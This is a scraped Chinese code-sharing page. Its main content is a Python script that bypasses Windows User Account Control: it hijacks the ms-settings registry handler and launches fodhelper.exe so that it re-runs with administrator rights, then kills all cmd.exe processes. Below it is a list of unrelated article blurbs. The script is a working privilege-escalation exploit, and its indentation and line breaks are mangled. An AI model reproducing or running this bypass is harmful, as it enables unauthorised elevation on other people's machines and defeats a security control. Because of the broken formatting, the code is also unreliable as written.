# -*- coding: utf-8 -*-
"""
Created on Mon Jan 8 09:09:51 2018 @author: coordinate
"""
from __future__ import print_function
import os
import sys,time
import ctypes
if sys.version_info[0] == 3:
import winreg as winreg
else:
import _winreg as winreg CMD = r"C:\Windows\System32\cmd.exe"
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute' def is_admin():
'''
Checks if the script is running with administrative privileges.
Returns True if is running as admin, False otherwise.
'''
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False def create_reg_key(key, value):
'''
Creates a reg key
'''
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise def bypass_uac(cmd):
'''
Tries to bypass the UAC
'''
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, '')
create_reg_key(None, cmd)
except WindowsError:
raise def execute():
if not is_admin():
print('[!] The script is NOT running with administrative privileges')
print('[+] Trying to bypass the UAC')
try:
current_dir = __file__
cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
command1 = 'taskkill /F /IM cmd.exe'
# command2 = 'start cmd /k'
# command3 = 'cd C:\Users\yuxinglx\Downloads\MagicBox'
# command4 = 'install_app.bat'
os.system(command1)
time.sleep(5)
command2 = 'start cmd /k'
os.system(command2)
# os.system(command3)
# os.system(command4)
print('[+] The script is running with administrative privileges!') if __name__ == '__main__':
# execute()

  

python 添加Windows权限的更多相关文章

  1. python添加Windows环境变量

    1.cmd中添加方式 SET PATH=%PATH%;c:\Program Files (x86)\Wireshark 注:如上代码添加c:\Program Files (x86)\Wireshark ...

  2. python添加windows域验证

    1.安装python-ldap https://pypi.python.org/pypi/python-ldap/ 在 Ubuntu/Debian 下安装 python-ldap 模块: $ sudo ...

  3. Jenkins 为Jenkins添加Windows Slave远程执行python项目脚本

    为Jenkins添加Windows Slave远程执行python项目脚本   by:授客 QQ:1033553122 测试环境 JAVA JDK 1.7.0_13 (jdk-7u13-windows ...

  4. 在Winform程序中设置管理员权限及为用户组添加写入权限

    在我们一些Winform程序中,往往需要具有一些特殊的权限才能操作系统文件,我们可以设置运行程序具有管理员权限或者设置运行程序的目录具有写入的权限,如果是在操作系统里面,我们可以设置运行程序以管理员身 ...

  5. python 基于windows环境的ftp功能

    描述: 1.基于备份服务器部署的py程序,将需要备份主机目录下的内容下载至备份服务器(服务端和远端都是windows server 2008) 2.py程序部署在windows服务器,后台运行,基于b ...

  6. Python 写Windows Service服务程序

    1.需求 为什么要开发一个windows服务呢?之前做一个程序,必须要读取指定目录文件License, 因为其他程序也在读取这指定目录的License文件,且License不同时会修改License的 ...

  7. (转)在Winform程序中设置管理员权限及为用户组添加写入权限

    本文转载自:http://www.cnblogs.com/wuhuacong/p/5645172.html 在我们一些Winform程序中,往往需要具有一些特殊的权限才能操作系统文件,我们可以设置运行 ...

  8. Loadrunner 添加windows资源没反应

    使用 LoadRunner Controller 添加Windows资源系统没有反应, 解决办法 : 1.关闭Windows 防火墙 2.若使用的不是本机 1) 首先要启动所监测机器的remote r ...

  9. 命令行添加用户的“作为服务登录”权利(添加Windows用户的时候,门道不是一般的多)good

    1.打开控制台(“开始”|“运行”中输入:MMC) 2.“文件”菜单|“添加删除管理单元”|“添加...”|选“安全模板”|“关闭”. 3.在“C:\Windows\Security\template ...

随机推荐

  1. Android调试桥 adb安装详解

    Android调试桥(adb) 一.简介 Android 调试桥 (adb) 是一种功能多样的命令行工具,可让您与设备进行通信.adb 命令便于执行各种设备操作(例如安装和调试应用),并提供对 Uni ...

  2. Vue框架——页面组件中使用小组件

    小组件在components文件夹中,页面组件在views文件夹中 一.先写小组件的vue,比如text.vue(在template设置模板渲染,style设置样式) <template> ...

  3. for循环与if条件语句的复习运用

    鉴于前面学了不少基础了,今天没有学新的内容.boyfriend给我出了几道简单的题目,慢慢的进步中. 1.# 计算1-100之间所有偶数的和 def sum(): sumone = 0 for i i ...

  4. LOJ #3103. 「JSOI2019」节日庆典

    题意 给定字符串 \(S\) ,对于 \(S\) 的每个前缀 \(T\) 求 \(T\) 所有循环同构串的字典序最小的串,输出其起始下标.(如有多个输出最靠前的) \(|S| \le 3 \times ...

  5. react-router的BrowserHistory 和 HashHistory 的区别,如何解决使用BrowserHistory 引起的访问路径问题

    一,使用createBrowserHistory 和 createHashHistory 的 区别体现 1. 使用createBrowserHistory () // 使用createBrowserH ...

  6. 多次执行echarts时出现 there is a chart instance already initialized on the dom

    原因,多次使用 echarts.init(document.getElementById(this.options.zid)); 解决方案 设为全局

  7. JAVA调用ORACLE存储过程时间类型参数没有日期

    是因为使用cs.setDate()给数据库传参数只会传日期部分.如果改用如下代码就可以: cs.setTimestamp(3, new java.sql.Timestamp(dKssj.getTime ...

  8. JAVA调用系统命令:python、shell等

    实际项目开发场景中,可能会用到java项目调用系统命令的需求,如调用python或者shell脚本 可以参考如下例子,例子来源于ambari源码: \ambari\ambari-server\src\ ...

  9. 局域网电脑禁止ping通的解决方法

    方法1:命令行模式进入服务器后 点击 开始——运行 输入命令:netsh firewall set icmpsetting 8这样就可以在外部ping到服务器了 非常简单实用!同样道理,如果想禁止Pi ...

  10. Java自学-控制流程 for

    Java的for循环 for循环,和while一样,只是表达方式不一样 示例 1 : for 比较for和while public class HelloWorld { public static v ...